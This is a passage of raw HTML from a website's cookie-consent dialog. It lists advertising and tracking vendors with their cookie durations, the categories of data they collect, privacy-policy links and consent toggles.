2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, AudienceProject A/S" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="394" id="fc-preference-slider-gvl-vendor-394" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Demandbase, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="397" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Demandbase, Inc., View details" tabindex="0" data-vendor-id="397" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="397" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Demandbase, Inc., Privacy policy" tabindex="0" data-policy-link="https://www.demandbase.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Demandbase, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="397"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Effiliation / Effinity</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 30 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: Device characteristics</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="402" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Effiliation / Effinity, View details" tabindex="0" data-vendor-id="402" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="402" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Effiliation / Effinity, Privacy policy" tabindex="0" data-policy-link="https://www.effinity.fr/politique-de-confidentialite/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Effiliation / Effinity" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="402"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Arrivalist Co.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="409" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Arrivalist Co., View details" tabindex="0" data-vendor-id="409" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="409" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Arrivalist Co., Privacy policy" tabindex="0" data-policy-link="https://www.arrivalist.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Arrivalist Co." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="409"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Seenthis AB</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="415" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Seenthis AB, View details" tabindex="0" data-vendor-id="415" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Seenthis AB, Privacy policy" tabindex="0" data-policy-link="https://seenthis.co/privacypolicy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Commanders Act</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="416" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Commanders Act, View details" tabindex="0" data-vendor-id="416" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="416" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Commanders Act, Privacy policy" tabindex="0" data-policy-link="https://www.commandersact.com/en/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Commanders Act" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="416"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>travel audience GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 397 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="423" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="travel audience GmbH, View details" tabindex="0" data-vendor-id="423" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="travel audience GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.amadeus-hospitality.com/ta-product-privacy-notice/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, travel audience GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="423"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>HUMAN</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="431" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="HUMAN, View details" tabindex="0" data-vendor-id="431" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="HUMAN, Privacy policy" tabindex="0" data-policy-link="https://www.humansecurity.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-431"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, HUMAN" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="431" id="fc-preference-slider-gvl-vendor-431" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Blendee srl</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 366 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="450" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Blendee srl, View details" tabindex="0" data-vendor-id="450" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="450" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Blendee srl, Privacy policy" tabindex="0" data-policy-link="https://cdn2.blendee.com/it_blendee_privacy_policy_ad_server_and_dmp.pdf" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Blendee srl" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="450"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Innovid LLC</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="452" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Innovid LLC, View details" tabindex="0" data-vendor-id="452" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="452" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Innovid LLC, Privacy policy" tabindex="0" data-policy-link="https://www.innovid.com/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Innovid LLC" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="452"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-452"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Innovid LLC" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="452" id="fc-preference-slider-gvl-vendor-452" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Papirfly AS</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: Device characteristics</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="466" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Papirfly AS, View details" tabindex="0" data-vendor-id="466" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Papirfly AS, Privacy policy" tabindex="0" data-policy-link="https://tacticrealtime.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-466"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Papirfly AS" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="466" id="fc-preference-slider-gvl-vendor-466" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Neustar, Inc., a TransUnion company</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="468" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Neustar, Inc., a TransUnion company, View details" tabindex="0" data-vendor-id="468" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Neustar, Inc., a TransUnion company, Privacy policy" tabindex="0" data-policy-link="https://www.home.neustar/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Neustar, Inc., a TransUnion company" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="468"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-468"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Neustar, Inc., a TransUnion company" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="468" id="fc-preference-slider-gvl-vendor-468" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Verve Group Europe GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="512" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Verve Group Europe GmbH, View details" tabindex="0" data-vendor-id="512" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Verve Group Europe GmbH, Privacy policy" tabindex="0" data-policy-link="https://pubnative.net/privacy-notice/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Verve Group Europe GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="512"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Otto (GmbH & Co KG)</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Browsing and interaction data, User-provided data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="559" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Otto (GmbH & Co KG), View details" tabindex="0" data-vendor-id="559" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="559" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Otto (GmbH & Co KG), Privacy policy" tabindex="0" data-policy-link="https://www.otto.de/shoppages/service/datenschutz" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Otto (GmbH & Co KG)" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="559"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-559"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Otto (GmbH & Co KG)" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="559" id="fc-preference-slider-gvl-vendor-559" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adobe Audience Manager, Adobe Experience Platform</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 180 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="565" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Adobe Audience Manager, Adobe Experience Platform, View details" tabindex="0" data-vendor-id="565" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="565" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Adobe Audience Manager, Adobe Experience Platform, Privacy policy" tabindex="0" data-policy-link="https://www.adobe.com/privacy/policy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adobe Audience Manager, Adobe Experience Platform" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="565"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Localsensor B.V.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="587" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Localsensor B.V., View details" tabindex="0" data-vendor-id="587" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Localsensor B.V., Privacy policy" tabindex="0" data-policy-link="https://www.localsensor.com/privacy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 